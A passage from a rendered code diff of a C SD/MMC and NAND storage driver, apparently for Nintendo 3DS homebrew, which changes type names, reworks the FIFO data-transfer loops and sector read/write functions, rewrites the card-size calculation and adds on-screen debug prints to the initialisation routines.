// sdmmc_mask16(REG_DATACTL32,0x1800,2);
|
||||||
sdmmc_mask16(REG_SDDATACTL32, 0x800, 0x1000);
|
|
||||||
#else
|
#else
|
||||||
sdmmc_mask16(REG_SDDATACTL32,0x1800,0);
|
sdmmc_mask16(REG_DATACTL32,0x1800,0);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
sdmmc_write16(REG_SDCMDARG0,args &0xFFFF);
|
sdmmc_write16(REG_SDCMDARG0,args &0xFFFF);
|
||||||
sdmmc_write16(REG_SDCMDARG1,args >> 16);
|
sdmmc_write16(REG_SDCMDARG1,args >> 16);
|
||||||
sdmmc_write16(REG_SDCMD,cmd &0xFFFF);
|
sdmmc_write16(REG_SDCMD,cmd &0xFFFF);
|
||||||
|
|
||||||
u32 size = ctx->size;
|
uint32_t size = ctx->size;
|
||||||
u16 *dataPtr = (u16*)ctx->data;
|
uint16_t *dataPtr = (uint16_t*)ctx->data;
|
||||||
|
uint32_t *dataPtr32 = (uint32_t*)ctx->data;
|
||||||
#ifdef DATA32_SUPPORT
|
|
||||||
u32 *dataPtr32 = (u32*)ctx->data;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
bool useBuf = ( NULL != dataPtr );
|
bool useBuf = ( NULL != dataPtr );
|
||||||
|
bool useBuf32 = (useBuf && (0 == (3 & ((uint32_t)dataPtr))));
|
||||||
|
|
||||||
|
uint16_t status0 = 0;
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
volatile uint16_t status1 = sdmmc_read16(REG_SDSTATUS1);
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
bool useBuf32 = (useBuf && (0 == (3 & ((u32)dataPtr))));
|
volatile uint16_t ctl32 = sdmmc_read16(REG_DATACTL32);
|
||||||
|
if((ctl32 & 0x100))
|
||||||
|
#else
|
||||||
|
if((status1 & TMIO_STAT1_RXRDY))
|
||||||
#endif
|
#endif
|
||||||
|
{
|
||||||
u16 status0 = 0;
|
if(readdata)
|
||||||
while(true) {
|
{
|
||||||
u16 status1 = sdmmc_read16(REG_SDSTATUS1);
|
if(useBuf)
|
||||||
if (status1 & TMIO_STAT1_RXRDY) {
|
{
|
||||||
if (readdata && useBuf) {
|
|
||||||
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0);
|
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_RXRDY, 0);
|
||||||
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY);
|
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_RXRDY);
|
||||||
if (size > 0x1FF) {
|
if(size > 0x1FF)
|
||||||
#ifdef DATA32_SUPPORT
|
{
|
||||||
if (useBuf32) {
|
#ifdef DATA32_SUPPORT
|
||||||
|
if(useBuf32)
|
||||||
|
{
|
||||||
for(int i = 0; i<0x200; i+=4)
|
for(int i = 0; i<0x200; i+=4)
|
||||||
|
{
|
||||||
*dataPtr32++ = sdmmc_read32(REG_SDFIFO32);
|
*dataPtr32++ = sdmmc_read32(REG_SDFIFO32);
|
||||||
} else {
|
}
|
||||||
#endif
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#endif
|
||||||
for(int i = 0; i<0x200; i+=2)
|
for(int i = 0; i<0x200; i+=2)
|
||||||
|
{
|
||||||
*dataPtr++ = sdmmc_read16(REG_SDFIFO);
|
*dataPtr++ = sdmmc_read16(REG_SDFIFO);
|
||||||
#ifdef DATA32_SUPPORT
|
|
||||||
}
|
}
|
||||||
#endif
|
#ifdef DATA32_SUPPORT
|
||||||
|
}
|
||||||
|
#endif
|
||||||
size -= 0x200;
|
size -= 0x200;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (status1 & TMIO_STAT1_TXRQ) {
|
sdmmc_mask16(REG_DATACTL32, 0x800, 0);
|
||||||
if (writedata && useBuf) {
|
}
|
||||||
|
}
|
||||||
|
#ifdef DATA32_SUPPORT
|
||||||
|
if(!(ctl32 & 0x200))
|
||||||
|
#else
|
||||||
|
if((status1 & TMIO_STAT1_TXRQ))
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
if(writedata)
|
||||||
|
{
|
||||||
|
if(useBuf)
|
||||||
|
{
|
||||||
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0);
|
sdmmc_mask16(REG_SDSTATUS1, TMIO_STAT1_TXRQ, 0);
|
||||||
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ);
|
//sdmmc_write16(REG_SDSTATUS1,~TMIO_STAT1_TXRQ);
|
||||||
if (size > 0x1FF) {
|
if(size > 0x1FF)
|
||||||
#ifdef DATA32_SUPPORT
|
{
|
||||||
for (int i = 0; i<0x200; i+=4)
|
#ifdef DATA32_SUPPORT
|
||||||
|
for(int i = 0; i<0x200; i+=4)
|
||||||
|
{
|
||||||
sdmmc_write32(REG_SDFIFO32,*dataPtr32++);
|
sdmmc_write32(REG_SDFIFO32,*dataPtr32++);
|
||||||
#else
|
}
|
||||||
for (int i = 0; i<0x200; i+=2)
|
#else
|
||||||
|
for(int i = 0; i<0x200; i+=2)
|
||||||
|
{
|
||||||
sdmmc_write16(REG_SDFIFO,*dataPtr++);
|
sdmmc_write16(REG_SDFIFO,*dataPtr++);
|
||||||
#endif
|
}
|
||||||
|
#endif
|
||||||
size -= 0x200;
|
size -= 0x200;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
sdmmc_mask16(REG_DATACTL32, 0x1000, 0);
|
||||||
}
|
}
|
||||||
if (status1 & TMIO_MASK_GW) {
|
}
|
||||||
|
if(status1 & TMIO_MASK_GW)
|
||||||
|
{
|
||||||
ctx->error |= 4;
|
ctx->error |= 4;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!(status1 & TMIO_STAT1_CMD_BUSY)) {
|
if(!(status1 & TMIO_STAT1_CMD_BUSY))
|
||||||
|
{
|
||||||
status0 = sdmmc_read16(REG_SDSTATUS0);
|
status0 = sdmmc_read16(REG_SDSTATUS0);
|
||||||
if (sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND)
|
if(sdmmc_read16(REG_SDSTATUS0) & TMIO_STAT0_CMDRESPEND)
|
||||||
|
{
|
||||||
ctx->error |= 0x1;
|
ctx->error |= 0x1;
|
||||||
if (status0 & TMIO_STAT0_DATAEND)
|
}
|
||||||
|
if(status0 & TMIO_STAT0_DATAEND)
|
||||||
|
{
|
||||||
ctx->error |= 0x2;
|
ctx->error |= 0x2;
|
||||||
|
}
|
||||||
|
|
||||||
if ((status0 & flags) == flags)
|
if((status0 & flags) == flags)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -145,7 +243,8 @@ void __attribute__((noinline)) sdmmc_send_command(struct mmcdevice *ctx, u32 cmd
|
|||||||
sdmmc_write16(REG_SDSTATUS0,0);
|
sdmmc_write16(REG_SDSTATUS0,0);
|
||||||
sdmmc_write16(REG_SDSTATUS1,0);
|
sdmmc_write16(REG_SDSTATUS1,0);
|
||||||
|
|
||||||
if (getSDRESP != 0) {
|
if(getSDRESP != 0)
|
||||||
|
{
|
||||||
ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16);
|
ctx->ret[0] = sdmmc_read16(REG_SDRESP0) | (sdmmc_read16(REG_SDRESP1) << 16);
|
||||||
ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16);
|
ctx->ret[1] = sdmmc_read16(REG_SDRESP2) | (sdmmc_read16(REG_SDRESP3) << 16);
|
||||||
ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16);
|
ctx->ret[2] = sdmmc_read16(REG_SDRESP4) | (sdmmc_read16(REG_SDRESP5) << 16);
|
||||||
@ -153,131 +252,119 @@ void __attribute__((noinline)) sdmmc_send_command(struct mmcdevice *ctx, u32 cmd
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int __attribute__((noinline)) sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in)
|
int NO_INLINE sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in)
|
||||||
{
|
{
|
||||||
if (handleSD.isSDHC == 0)
|
if(handelSD.isSDHC == 0) sector_no <<= 9;
|
||||||
sector_no <<= 9;
|
inittarget(&handelSD);
|
||||||
inittarget(&handleSD);
|
|
||||||
sdmmc_write16(REG_SDSTOP,0x100);
|
sdmmc_write16(REG_SDSTOP,0x100);
|
||||||
|
|
||||||
#ifdef DATA32_SUPPORT
|
|
||||||
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
|
||||||
handleSD.data = in;
|
|
||||||
handleSD.size = numsectors << 9;
|
|
||||||
sdmmc_send_command(&handleSD,0x52C19,sector_no);
|
|
||||||
return geterror(&handleSD);
|
|
||||||
}
|
|
||||||
|
|
||||||
int __attribute__((noinline)) sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out)
|
|
||||||
{
|
|
||||||
if (handleSD.isSDHC == 0)
|
|
||||||
sector_no <<= 9;
|
|
||||||
inittarget(&handleSD);
|
|
||||||
sdmmc_write16(REG_SDSTOP,0x100);
|
|
||||||
|
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
|
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
|
||||||
sdmmc_write16(REG_SDBLKLEN32,0x200);
|
sdmmc_write16(REG_SDBLKLEN32,0x200);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
||||||
handleSD.data = out;
|
handelSD.data = in;
|
||||||
handleSD.size = numsectors << 9;
|
handelSD.size = numsectors << 9;
|
||||||
sdmmc_send_command(&handleSD,0x33C12,sector_no);
|
sdmmc_send_command(&handelSD,0x52C19,sector_no);
|
||||||
return geterror(&handleSD);
|
return geterror(&handelSD);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int NO_INLINE sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out)
|
||||||
|
|
||||||
int __attribute__((noinline)) sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out)
|
|
||||||
{
|
{
|
||||||
if (handleNAND.isSDHC == 0)
|
if(handelSD.isSDHC == 0) sector_no <<= 9;
|
||||||
sector_no <<= 9;
|
inittarget(&handelSD);
|
||||||
inittarget(&handleNAND);
|
|
||||||
sdmmc_write16(REG_SDSTOP,0x100);
|
sdmmc_write16(REG_SDSTOP,0x100);
|
||||||
|
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
sdmmc_write32(REG_SDBLKCOUNT32,numsectors);
|
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
|
||||||
#else
|
sdmmc_write16(REG_SDBLKLEN32,0x200);
|
||||||
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
|
||||||
#endif
|
#endif
|
||||||
|
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
||||||
handleNAND.data = out;
|
handelSD.data = out;
|
||||||
handleNAND.size = numsectors << 9;
|
handelSD.size = numsectors << 9;
|
||||||
sdmmc_send_command(&handleNAND,0x33C12,sector_no);
|
sdmmc_send_command(&handelSD,0x33C12,sector_no);
|
||||||
inittarget(&handleSD);
|
return geterror(&handelSD);
|
||||||
return geterror(&handleNAND);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int __attribute__((noinline)) sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in) //experimental
|
|
||||||
|
|
||||||
|
int NO_INLINE sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out)
|
||||||
{
|
{
|
||||||
if (handleNAND.isSDHC == 0)
|
if(handelNAND.isSDHC == 0) sector_no <<= 9;
|
||||||
sector_no <<= 9;
|
inittarget(&handelNAND);
|
||||||
inittarget(&handleNAND);
|
|
||||||
sdmmc_write16(REG_SDSTOP,0x100);
|
sdmmc_write16(REG_SDSTOP,0x100);
|
||||||
|
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
sdmmc_write32(REG_SDBLKCOUNT32,numsectors);
|
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
|
||||||
#else
|
sdmmc_write16(REG_SDBLKLEN32,0x200);
|
||||||
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
|
||||||
#endif
|
#endif
|
||||||
|
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
||||||
handleNAND.data = in;
|
handelNAND.data = out;
|
||||||
handleNAND.size = numsectors << 9;
|
handelNAND.size = numsectors << 9;
|
||||||
sdmmc_send_command(&handleNAND,0x52C19,sector_no);
|
sdmmc_send_command(&handelNAND,0x33C12,sector_no);
|
||||||
inittarget(&handleSD);
|
inittarget(&handelSD);
|
||||||
return geterror(&handleNAND);
|
return geterror(&handelNAND);
|
||||||
}
|
}
|
||||||
|
|
||||||
u32 calcSDSize(u8* csd, int type)
|
int NO_INLINE sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in) //experimental
|
||||||
{
|
{
|
||||||
u32 result = 0;
|
if(handelNAND.isSDHC == 0) sector_no <<= 9;
|
||||||
u8 temp = csd[0xE];
|
inittarget(&handelNAND);
|
||||||
//int temp3 = type;
|
sdmmc_write16(REG_SDSTOP,0x100);
|
||||||
|
#ifdef DATA32_SUPPORT
|
||||||
|
sdmmc_write16(REG_SDBLKCOUNT32,numsectors);
|
||||||
|
sdmmc_write16(REG_SDBLKLEN32,0x200);
|
||||||
|
#endif
|
||||||
|
sdmmc_write16(REG_SDBLKCOUNT,numsectors);
|
||||||
|
handelNAND.data = in;
|
||||||
|
handelNAND.size = numsectors << 9;
|
||||||
|
sdmmc_send_command(&handelNAND,0x52C19,sector_no);
|
||||||
|
inittarget(&handelSD);
|
||||||
|
return geterror(&handelNAND);
|
||||||
|
}
|
||||||
|
|
||||||
switch (type) {
|
static uint32_t calcSDSize(uint8_t* csd, int type)
|
||||||
case -1:
|
{
|
||||||
type = temp >> 6;
|
uint32_t result=0;
|
||||||
break;
|
if(type == -1) type = csd[14] >> 6;
|
||||||
|
switch(type)
|
||||||
|
{
|
||||||
case 0:
|
case 0:
|
||||||
{
|
{
|
||||||
u32 temp = (csd[0x7] << 0x2 | csd[0x8] << 0xA | csd[0x6] >> 0x6 | (csd[0x9] & 0xF) << 0x10) & 0xFFF;
|
uint32_t block_len=csd[9]&0xf;
|
||||||
u32 temp2 = temp * (1 << (csd[0x9] & 0xF));
|
block_len=1<<block_len;
|
||||||
u32 retval = temp2 * (1 << (((csd[0x4] >> 7 | csd[0x5] << 1) & 7) + 2));
|
uint32_t mult=(csd[4]>>7)|((csd[5]&3)<<1);
|
||||||
result = retval >> 9;
|
mult=1<<(mult+2);
|
||||||
break;
|
result=csd[8]&3;
|
||||||
|
result=(result<<8)|csd[7];
|
||||||
|
result=(result<<2)|(csd[6]>>6);
|
||||||
|
result=(result+1)*mult*block_len/512;
|
||||||
}
|
}
|
||||||
|
break;
|
||||||
case 1:
|
case 1:
|
||||||
result = (((csd[0x7] & 0x3F) << 0x10 | csd[0x6] << 8 | csd[0x5]) + 1) << 0xA;
|
result=csd[7]&0x3f;
|
||||||
break;
|
result=(result<<8)|csd[6];
|
||||||
default:
|
result=(result<<8)|csd[5];
|
||||||
result = 0;
|
result=(result+1)*1024;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
void InitSD()
|
void InitSD()
|
||||||
{
|
{
|
||||||
//NAND
|
//NAND
|
||||||
handleNAND.isSDHC = 0;
|
handelNAND.isSDHC = 0;
|
||||||
handleNAND.SDOPT = 0;
|
handelNAND.SDOPT = 0;
|
||||||
handleNAND.res = 0;
|
handelNAND.res = 0;
|
||||||
handleNAND.initarg = 1;
|
handelNAND.initarg = 1;
|
||||||
handleNAND.clk = 0x80;
|
handelNAND.clk = 0x80;
|
||||||
handleNAND.devicenumber = 1;
|
handelNAND.devicenumber = 1;
|
||||||
|
|
||||||
//SD
|
//SD
|
||||||
handleSD.isSDHC = 0;
|
handelSD.isSDHC = 0;
|
||||||
handleSD.SDOPT = 0;
|
handelSD.SDOPT = 0;
|
||||||
handleSD.res = 0;
|
handelSD.res = 0;
|
||||||
handleSD.initarg = 0;
|
handelSD.initarg = 0;
|
||||||
handleSD.clk = 0x80;
|
handelSD.clk = 0x80;
|
||||||
handleSD.devicenumber = 0;
|
handelSD.devicenumber = 0;
|
||||||
|
|
||||||
//sdmmc_mask16(0x100,0x800,0);
|
//sdmmc_mask16(0x100,0x800,0);
|
||||||
//sdmmc_mask16(0x100,0x1000,0);
|
//sdmmc_mask16(0x100,0x1000,0);
|
||||||
@ -302,166 +389,228 @@ void InitSD()
|
|||||||
//sdmmc_write16(REG_SDBLKLEN,0x200);
|
//sdmmc_write16(REG_SDBLKLEN,0x200);
|
||||||
//sdmmc_write16(REG_SDSTOP,0);
|
//sdmmc_write16(REG_SDSTOP,0);
|
||||||
|
|
||||||
*(vu16*)0x10006100 &= 0xF7FFu; //SDDATACTL32
|
*(volatile uint16_t*)0x10006100 &= 0xF7FFu; //SDDATACTL32
|
||||||
*(vu16*)0x10006100 &= 0xEFFFu; //SDDATACTL32
|
*(volatile uint16_t*)0x10006100 &= 0xEFFFu; //SDDATACTL32
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
*(vu16*)0x10006100 |= 0x402u; //SDDATACTL32
|
*(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32
|
||||||
#else
|
#else
|
||||||
*(vu16*)0x10006100 |= 0x402u; //SDDATACTL32
|
*(volatile uint16_t*)0x10006100 |= 0x402u; //SDDATACTL32
|
||||||
#endif
|
#endif
|
||||||
*(vu16*)0x100060D8 = (*(vu16*)0x100060D8 & 0xFFDD) | 2;
|
*(volatile uint16_t*)0x100060D8 = (*(volatile uint16_t*)0x100060D8 & 0xFFDD) | 2;
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
*(vu16*)0x10006100 &= 0xFFFFu; //SDDATACTL32
|
*(volatile uint16_t*)0x10006100 &= 0xFFFFu; //SDDATACTL32
|
||||||
*(vu16*)0x100060D8 &= 0xFFDFu; //SDDATACTL
|
*(volatile uint16_t*)0x100060D8 &= 0xFFDFu; //SDDATACTL
|
||||||
*(vu16*)0x10006104 = 512; //SDBLKLEN32
|
*(volatile uint16_t*)0x10006104 = 512; //SDBLKLEN32
|
||||||
#else
|
#else
|
||||||
*(vu16*)0x10006100 &= 0xFFFDu; //SDDATACTL32
|
*(volatile uint16_t*)0x10006100 &= 0xFFFDu; //SDDATACTL32
|
||||||
*(vu16*)0x100060D8 &= 0xFFDDu; //SDDATACTL
|
*(volatile uint16_t*)0x100060D8 &= 0xFFDDu; //SDDATACTL
|
||||||
*(vu16*)0x10006104 = 0; //SDBLKLEN32
|
*(volatile uint16_t*)0x10006104 = 0; //SDBLKLEN32
|
||||||
#endif
|
#endif
|
||||||
*(vu16*)0x10006108 = 1; //SDBLKCOUNT32
|
*(volatile uint16_t*)0x10006108 = 1; //SDBLKCOUNT32
|
||||||
*(vu16*)0x100060E0 &= 0xFFFEu; //SDRESET
|
*(volatile uint16_t*)0x100060E0 &= 0xFFFEu; //SDRESET
|
||||||
*(vu16*)0x100060E0 |= 1u; //SDRESET
|
*(volatile uint16_t*)0x100060E0 |= 1u; //SDRESET
|
||||||
*(vu16*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0
|
*(volatile uint16_t*)0x10006020 |= TMIO_MASK_ALL; //SDIR_MASK0
|
||||||
*(vu16*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1
|
*(volatile uint16_t*)0x10006022 |= TMIO_MASK_ALL>>16; //SDIR_MASK1
|
||||||
*(vu16*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7
|
*(volatile uint16_t*)0x100060FC |= 0xDBu; //SDCTL_RESERVED7
|
||||||
*(vu16*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8
|
*(volatile uint16_t*)0x100060FE |= 0xDBu; //SDCTL_RESERVED8
|
||||||
*(vu16*)0x10006002 &= 0xFFFCu; //SDPORTSEL
|
*(volatile uint16_t*)0x10006002 &= 0xFFFCu; //SDPORTSEL
|
||||||
#ifdef DATA32_SUPPORT
|
#ifdef DATA32_SUPPORT
|
||||||
*(vu16*)0x10006024 = 0x20;
|
*(volatile uint16_t*)0x10006024 = 0x20;
|
||||||
*(vu16*)0x10006028 = 0x40EE;
|
*(volatile uint16_t*)0x10006028 = 0x40EE;
|
||||||
#else
|
#else
|
||||||
*(vu16*)0x10006024 = 0x40; //Nintendo sets this to 0x20
|
*(volatile uint16_t*)0x10006024 = 0x40; //Nintendo sets this to 0x20
|
||||||
*(vu16*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE
|
*(volatile uint16_t*)0x10006028 = 0x40EB; //Nintendo sets this to 0x40EE
|
||||||
#endif
|
#endif
|
||||||
*(vu16*)0x10006002 &= 0xFFFCu; ////SDPORTSEL
|
*(volatile uint16_t*)0x10006002 &= 0xFFFCu; ////SDPORTSEL
|
||||||
*(vu16*)0x10006026 = 512; //SDBLKLEN
|
*(volatile uint16_t*)0x10006026 = 512; //SDBLKLEN
|
||||||
*(vu16*)0x10006008 = 0; //SDSTOP
|
*(volatile uint16_t*)0x10006008 = 0; //SDSTOP
|
||||||
|
|
||||||
inittarget(&handleSD);
|
inittarget(&handelSD);
|
||||||
}
|
}
|
||||||
|
|
||||||
int Nand_Init()
|
int Nand_Init()
|
||||||
{
|
{
|
||||||
inittarget(&handleNAND);
|
inittarget(&handelNAND);
|
||||||
ioDelay(0xF000);
|
waitcycles(0xF000);
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0,0);
|
DEBUGPRINT(topScreen, "0x00000 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
do {
|
sdmmc_send_command(&handelNAND,0,0);
|
||||||
do {
|
|
||||||
sdmmc_send_command(&handleNAND,0x10701,0x100000);
|
|
||||||
} while ( !(handleNAND.error & 1) );
|
|
||||||
} while((handleNAND.ret[0] & 0x80000000) == 0);
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10602,0x0);
|
DEBUGPRINT(topScreen, "0x10701 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleNAND.error & 0x4) return -1;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10403,handleNAND.initarg << 0x10);
|
do
|
||||||
if (handleNAND.error & 0x4) return -1;
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
sdmmc_send_command(&handelNAND,0x10701,0x100000);
|
||||||
|
DEBUGPRINT(topScreen, "error ", handelNAND.error, 10, 20 + 17*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
DEBUGPRINT(topScreen, "ret: ", handelNAND.ret[0], 10, 20 + 18*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
DEBUGPRINT(topScreen, "test ", 3, 10, 20 + 19*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
} while ( !(handelNAND.error & 1) );
|
||||||
|
}
|
||||||
|
while((handelNAND.ret[0] & 0x80000000) == 0);
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10609,handleNAND.initarg << 0x10);
|
DEBUGPRINT(topScreen, "0x10602 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleNAND.error & 0x4) return -1;
|
|
||||||
|
|
||||||
handleNAND.total_size = calcSDSize((u8*)&handleNAND.ret[0],0);
|
sdmmc_send_command(&handelNAND,0x10602,0x0);
|
||||||
handleNAND.clk = 1;
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10403 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
sdmmc_send_command(&handelNAND,0x10403,handelNAND.initarg << 0x10);
|
||||||
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10609 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
sdmmc_send_command(&handelNAND,0x10609,handelNAND.initarg << 0x10);
|
||||||
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10407 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
handelNAND.total_size = calcSDSize((uint8_t*)&handelNAND.ret[0],0);
|
||||||
|
handelNAND.clk = 1;
|
||||||
setckl(1);
|
setckl(1);
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10407,handleNAND.initarg << 0x10);
|
sdmmc_send_command(&handelNAND,0x10407,handelNAND.initarg << 0x10);
|
||||||
if (handleNAND.error & 0x4) return -1;
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
handleNAND.SDOPT = 1;
|
DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10506,0x3B70100);
|
handelNAND.SDOPT = 1;
|
||||||
if (handleNAND.error & 0x4) return -1;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10506,0x3B90100);
|
sdmmc_send_command(&handelNAND,0x10506,0x3B70100);
|
||||||
if (handleNAND.error & 0x4) return -1;
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x1040D,handleNAND.initarg << 0x10);
|
DEBUGPRINT(topScreen, "0x10506 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
if (handleNAND.error & 0x4) return -1;
|
|
||||||
|
|
||||||
sdmmc_send_command(&handleNAND,0x10410,0x200);
|
sdmmc_send_command(&handelNAND,0x10506,0x3B90100);
|
||||||
if (handleNAND.error & 0x4) return -1;
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
handleNAND.clk |= 0x200;
|
DEBUGPRINT(topScreen, "0x1040D ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
inittarget(&handleSD);
|
sdmmc_send_command(&handelNAND,0x1040D,handelNAND.initarg << 0x10);
|
||||||
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10410 ", handelNAND.error, 10, 20 + 13*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
|
sdmmc_send_command(&handelNAND,0x10410,0x200);
|
||||||
|
if((handelNAND.error & 0x4))return -1;
|
||||||
|
|
||||||
|
handelNAND.clk |= 0x200;
|
||||||
|
|
||||||
|
inittarget(&handelSD);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int SD_Init()
|
int SD_Init()
|
||||||
{
|
{
|
||||||
inittarget(&handleSD);
|
inittarget(&handelSD);
|
||||||
//ioDelay(0x3E8);
|
//waitcycles(0x3E8);
|
||||||
ioDelay(0xF000);
|
waitcycles(0xF000);
|
||||||
sdmmc_send_command(&handleSD,0,0);
|
DEBUGPRINT(topScreen, "0x00000 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
sdmmc_send_command(&handleSD,0x10408,0x1AA);
|
sdmmc_send_command(&handelSD,0,0);
|
||||||
//u32 temp = (handleSD.ret[0] == 0x1AA) << 0x1E;
|
DEBUGPRINT(topScreen, "0x10408 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
u32 temp = (handleSD.error & 0x1) << 0x1E;
|
sdmmc_send_command(&handelSD,0x10408,0x1AA);
|
||||||
|
//uint32_t temp = (handelSD.ret[0] == 0x1AA) << 0x1E;
|
||||||
|
uint32_t temp = (handelSD.error & 0x1) << 0x1E;
|
||||||
|
|
||||||
|
DEBUGPRINT(topScreen, "0x10769 ", handelSD.error, 10, 20 + 14*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
DEBUGPRINT(topScreen, "sd ret: ", handelSD.ret[0], 10, 20 + 15*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
DEBUGPRINT(topScreen, "temp: ", temp, 10, 20 + 16*8, RGB(40, 40, 40), RGB(208, 208, 208));
|
||||||
|
|
||||||
//int count = 0;
|
//int count = 0;
|
||||||
u32 temp2 = 0;
|
uint32_t temp2 = 0;
|
||||||
do {
|
do
|
||||||
do {
|
{
|
||||||
sdmmc_send_command(&handleSD,0x10437,handleSD.initarg << 0x10);
|
do
|
